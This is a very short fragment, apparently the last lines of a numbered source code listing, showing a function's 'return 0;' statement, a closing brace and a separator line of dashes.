return 0; 313 | } --------------------------------------------------------------------------------